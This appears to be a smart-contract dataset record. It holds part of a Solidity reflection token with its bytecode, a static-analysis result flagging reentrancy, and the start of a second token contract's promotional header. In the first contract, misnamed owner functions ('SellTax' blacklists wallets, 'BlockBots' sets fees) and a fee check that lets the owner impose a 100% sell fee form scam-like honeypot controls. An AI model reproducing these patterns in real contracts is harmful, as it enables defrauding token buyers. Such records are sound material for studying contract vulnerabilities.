uint256 public _maxWalletSize = 250000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function SellTax(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function BlockBots(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 100 || totalBuyFee <= 100, "Fees must be under 100%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d15760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610541578063dd62ed3e14610557578063ea1644d51461059d578063f2fde38b146105bd57600080fd5b8063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c578063c492f0461461052157600080fd5b80638f9a55c0116100d15780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047c5780639fcb48fd1461049c57600080fd5b80637c519ffb146103eb5780637d1db4a5146104005780638da5cb5b1461041657600080fd5b806349bd5a5e1161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b806349bd5a5e146102ff5780636b9990531461031f5780636d8aa8f8146103415780636df036771461036157600080fd5b806318160ddd116101ab57806318160ddd1461028957806323b872dd146102ad5780632fd689e3146102cd578063313ce567146102e357600080fd5b806306fdde03146101dd578063095ea7b3146102215780631694505e1461025157600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b50604080518082019091526009815268416e6765724b6f6e6760b81b60208201525b6040516102189190611b58565b60405180910390f35b34801561022d57600080fd5b5061024161023c366004611bd2565b6105dd565b6040519015158152602001610218565b34801561025d57600080fd5b50601554610271906001600160a01b031681565b6040516001600160a01b039091168152602001610218565b34801561029557600080fd5b50662386f26fc100005b604051908152602001610218565b3480156102b957600080fd5b506102416102c8366004611bfe565b6105f4565b3480156102d957600080fd5b5061029f60195481565b3480156102ef57600080fd5b5060405160098152602001610218565b34801561030b57600080fd5b50601654610271906001600160a01b031681565b34801561032b57600080fd5b5061033f61033a366004611c3f565b610674565b005b34801561034d57600080fd5b5061033f61035c366004611c6c565b6106c8565b34801561036d57600080fd5b5061033f61037c366004611c9d565b610710565b34801561038d57600080fd5b5061033f6107a6565b3480156103a257600080fd5b5061029f6103b1366004611c3f565b6107f1565b3480156103c257600080fd5b5061033f610813565b3480156103d757600080fd5b5061033f6103e6366004611d62565b610887565b3480156103f757600080fd5b5061033f610927565b34801561040c57600080fd5b5061029f60175481565b34801561042257600080fd5b506000546001600160a01b0316610271565b34801561044057600080fd5b5061029f60185481565b34801561045657600080fd5b50604080518082019091526009815268414e4745524b4f4e4760b81b602082015261020b565b34801561048857600080fd5b5061033f610497366004611d62565b61096a565b3480156104a857600080fd5b5061033f6104b7366004611d7b565b610999565b3480156104c857600080fd5b506102416104d7366004611bd2565b610a58565b3480156104e857600080fd5b506102416104f7366004611c3f565b60116020526000908152604090205460ff1681565b34801561051857600080fd5b5061033f610a65565b34801561052d57600080fd5b5061033f61053c366004611dad565b610ab9565b34801561054d57600080fd5b5061029f60085481565b34801561056357600080fd5b5061029f610572366004611e31565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a957600080fd5b5061033f6105b8366004611d62565b610b5a565b3480156105c957600080fd5b5061033f6105d8366004611c3f565b610bfc565b60006105ea338484610ce6565b5060015b92915050565b6000610601848484610e0a565b3360009081526005602052604090205460ff1661066a5761066a843361066585604051806060016040528060288152602001611fe5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d8565b610ce6565b5060019392505050565b6000546001600160a01b031633146106a75760405162461bcd60e51b815260040161069e90611e6a565b60405180910390fd5b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161069e90611e6a565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260040161069e90611e6a565b60005b81518110156107a25760016011600084848151811061075e5761075e611e9f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079a81611ecb565b91505061073d565b5050565b6013546001600160a01b0316336001600160a01b031614806107db57506014546001600160a01b0316336001600160a01b0316145b6107e457600080fd5b476107ee81611412565b50565b6001600160a01b0381166000908152600260205260408120546105ee90611497565b6000546001600160a01b0316331461083d5760405162461bcd60e51b815260040161069e90611e6a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161069e90611e6a565b6108c46103e8662386f26fc10000611ee6565b8110156109225760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b606482015260840161069e565b601755565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161069e90611e6a565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109945760405162461bcd60e51b815260040161069e90611e6a565b601955565b6000546001600160a01b031633146109c35760405162461bcd60e51b815260040161069e90611e6a565b6009849055600b839055600a829055600c81905560006109e38285611f08565b905060006109f18487611f08565b9050606482111580610a04575060648111155b610a505760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e6465722031303025000000000000000000604482015260640161069e565b505050505050565b60006105ea338484610e0a565b6013546001600160a01b0316336001600160a01b03161480610a9a57506014546001600160a01b0316336001600160a01b0316145b610aa357600080fd5b6000610aae306107f1565b90506107ee8161151b565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161069e90611e6a565b60005b82811015610b54578160056000868685818110610b0557610b05611e9f565b9050602002016020810190610b1a9190611c3f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b4c81611ecb565b915050610ae6565b50505050565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161069e90611e6a565b610b976103e8662386f26fc10000611ee6565b811015610bf75760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b606482015260840161069e565b601855565b6000546001600160a01b03163314610c265760405162461bcd60e51b815260040161069e90611e6a565b6001600160a01b038116610c8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161069e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069e565b6001600160a01b038216610da95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069e565b6001600160a01b038216610ed05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069e565b60008111610f325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161069e565b6000546001600160a01b03848116911614801590610f5e57506000546001600160a01b03838116911614155b156112b657601654600160a01b900460ff16610ff7576000546001600160a01b03848116911614610ff75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161069e565b6017548111156110495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161069e565b6001600160a01b03831660009081526011602052604090205460ff1615801561108b57506001600160a01b03821660009081526011602052604090205460ff16155b6110e35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161069e565b600854431115801561110257506016546001600160a01b038481169116145b801561111c57506015546001600160a01b03838116911614155b801561113157506001600160a01b0382163014155b1561115a576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111df576018548161117c846107f1565b6111869190611f08565b106111df5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161069e565b60006111ea306107f1565b6019546017549192508210159082106112035760175491505b80801561121a5750601654600160a81b900460ff16155b801561123457506016546001600160a01b03868116911614155b80156112495750601654600160b01b900460ff165b801561126e57506001600160a01b03851660009081526005602052604090205460ff16155b801561129357506001600160a01b03841660009081526005602052604090205460ff16155b156112b3576112a18261151b565b4780156112b1576112b147611412565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112f857506001600160a01b03831660009081526005602052604090205460ff165b8061132a57506016546001600160a01b0385811691161480159061132a57506016546001600160a01b03848116911614155b15611337575060006113cc565b6016546001600160a01b03858116911614801561136257506015546001600160a01b03848116911614155b1561137457600954600d55600a54600e555b6016546001600160a01b03848116911614801561139f57506015546001600160a01b03858116911614155b156113cc5760006113bd600c54600a546116a490919063ffffffff16565b5050600b54600d55600c54600e555b610b54848484846116e6565b600081848411156113fc5760405162461bcd60e51b815260040161069e9190611b58565b5060006114098486611f20565b95945050505050565b6013546001600160a01b03166108fc61142c8360026116a4565b6040518115909202916000818181858888f19350505050158015611454573d6000803e3d6000fd5b506014546001600160a01b03166108fc61146f8360026116a4565b6040518115909202916000818181858888f193505050501580156107a2573d6000803e3d6000fd5b60006006548211156114fe5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161069e565b6000611508611714565b905061151483826116a4565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156357611563611e9f565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115b757600080fd5b505afa1580156115cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ef9190611f37565b8160018151811061160257611602611e9f565b6001600160a01b0392831660209182029290920101526015546116289130911684610ce6565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611661908590600090869030904290600401611f54565b600060405180830381600087803b15801561167b57600080fd5b505af115801561168f573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061151483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611737565b806116f3576116f3611765565b6116fe848484611793565b80610b5457610b54600f54600d55601054600e55565b600080600061172161188a565b909250905061173082826116a4565b9250505090565b600081836117585760405162461bcd60e51b815260040161069e9190611b58565b5060006114098486611ee6565b600d541580156117755750600e54155b1561177c57565b600d8054600f55600e805460105560009182905555565b6000806000806000806117a5876118c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d79087611925565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118069086611967565b6001600160a01b038916600090815260026020526040902055611828816119c6565b6118328483611a10565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187791815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc100006118a482826116a4565b8210156118bf57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006118e58a600d54600e54611a34565b92509250925060006118f5611714565b905060008060006119088e878787611a89565b919e509c509a509598509396509194505050505091939550919395565b600061151483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d8565b6000806119748385611f08565b9050838110156115145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069e565b60006119d0611714565b905060006119de8383611ad9565b306000908152600260205260409020549091506119fb9082611967565b30600090815260026020526040902055505050565b600654611a1d9083611925565b600655600754611a2d9082611967565b6007555050565b6000808080611a4e6064611a488989611ad9565b906116a4565b90506000611a616064611a488a89611ad9565b90506000611a7982611a738b86611925565b90611925565b9992985090965090945050505050565b6000808080611a988886611ad9565b90506000611aa68887611ad9565b90506000611ab48888611ad9565b90506000611ac682611a738686611925565b939b939a50919850919650505050505050565b600082611ae8575060006105ee565b6000611af48385611fc5565b905082611b018583611ee6565b146115145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069e565b600060208083528351808285015260005b81811015611b8557858101830151858201604001528201611b69565b81811115611b97576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ee57600080fd5b8035611bcd81611bad565b919050565b60008060408385031215611be557600080fd5b8235611bf081611bad565b946020939093013593505050565b600080600060608486031215611c1357600080fd5b8335611c1e81611bad565b92506020840135611c2e81611bad565b929592945050506040919091013590565b600060208284031215611c5157600080fd5b813561151481611bad565b80358015158114611bcd57600080fd5b600060208284031215611c7e57600080fd5b61151482611c5c565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611cb057600080fd5b823567ffffffffffffffff80821115611cc857600080fd5b818501915085601f830112611cdc57600080fd5b813581811115611cee57611cee611c87565b8060051b604051601f19603f83011681018181108582111715611d1357611d13611c87565b604052918252848201925083810185019188831115611d3157600080fd5b938501935b82851015611d5657611d4785611bc2565b84529385019392850192611d36565b98975050505050505050565b600060208284031215611d7457600080fd5b5035919050565b60008060008060808587031215611d9157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611dc257600080fd5b833567ffffffffffffffff80821115611dda57600080fd5b818601915086601f830112611dee57600080fd5b813581811115611dfd57600080fd5b8760208260051b8501011115611e1257600080fd5b602092830195509350611e289186019050611c5c565b90509250925092565b60008060408385031215611e4457600080fd5b8235611e4f81611bad565b91506020830135611e5f81611bad565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611edf57611edf611eb5565b5060010190565b600082611f0357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611f1b57611f1b611eb5565b500190565b600082821015611f3257611f32611eb5565b500390565b600060208284031215611f4957600080fd5b815161151481611bad565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fa45784516001600160a01b031683529383019391830191600101611f7f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611fdf57611fdf611eb5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2cbd70731ad2bac7c9a51ffd6c879d01a3e524067ae71aeb53fd6caeeee201b64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 873 |
0x563d4567c8b12c968b59f7c5cb6f665c7087e338 | /**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
/*
Welcome to...
________________________¶
______________________¶¶¶
___________________¶¶¶¶¶
__________________¶¶¶¶¶¶
________________¶¶¶¶¶¶¶
_______________¶¶¶¶¶¶¶¶
_______________¶¶¶¶¶¶¶¶
______________¶¶¶¶¶¶¶¶¶¶
______________¶¶¶¶¶¶¶¶¶¶_________________¶
______________¶¶¶¶¶¶¶¶¶¶¶______________¶¶¶
______________¶¶¶¶¶¶¶¶¶¶¶¶___________¶¶¶¶
_______¶______¶¶¶¶¶¶¶¶¶¶¶¶¶________¶¶¶¶¶¶
_______¶¶¶¶____¶¶¶¶¶¶¶¶¶¶¶¶¶______¶¶¶¶¶¶¶
_______¶¶¶¶¶___¶¶¶¶¶¶¶¶¶¶¶¶¶¶____¶¶¶¶¶¶¶¶
_______¶¶¶¶¶¶___¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶
_______¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_______¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
______¶¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_____¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
___¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶___¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶___¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶____¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶____¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶__¶¶¶______¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶___¶________¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶_____________¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶______________¶____¶¶¶¶¶¶¶¶¶¶¶
__¶¶¶¶¶¶¶¶¶¶¶¶_____________________¶¶¶¶¶¶¶¶¶
____¶¶¶¶¶¶¶¶¶¶_____________________¶¶¶¶¶¶¶¶
______¶¶¶¶¶¶¶¶_____________________¶¶¶¶¶¶
_________¶¶¶¶¶¶___________________¶¶¶¶
_____________¶¶¶¶¶______________¶
┏┓╋┏┳━━━┳━━━━┳━━━┳┓╋┏┳━┓┏━┳━┓┏━┳━━━┳━━━┓
┃┃╋┃┃┏━┓┃┏┓┏┓┃┏━┓┃┃╋┃┃┃┗┛┃┃┃┗┛┃┃┏━━┫┏━┓┃
┃┗━┛┃┃╋┃┣┛┃┃┗┫┗━━┫┃╋┃┃┏┓┏┓┃┏┓┏┓┃┗━━┫┗━┛┃
┃┏━┓┃┃╋┃┃╋┃┃╋┗━━┓┃┃╋┃┃┃┃┃┃┃┃┃┃┃┃┏━━┫┏┓┏┛
┃┃╋┃┃┗━┛┃╋┃┃╋┃┗━┛┃┗━┛┃┃┃┃┃┃┃┃┃┃┃┗━━┫┃┃┗┓
┗┛╋┗┻━━━┛╋┗┛╋┗━━━┻━━━┻┛┗┛┗┻┛┗┛┗┻━━━┻┛┗━┛
t.me/HotSummerETH
Get your surfboards out, we are going to ride the wave!
Symbol: HotSUMMER
Total Supply: 1,000,000,000,000
Decimals: 9
50% Burn, 50% LP
No pre-sale
No team & marketing tokens
Locked Liquidity
Renounced ownership
Reflection % to holders
1,000,000,000,000 Total Supply
% Burn
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
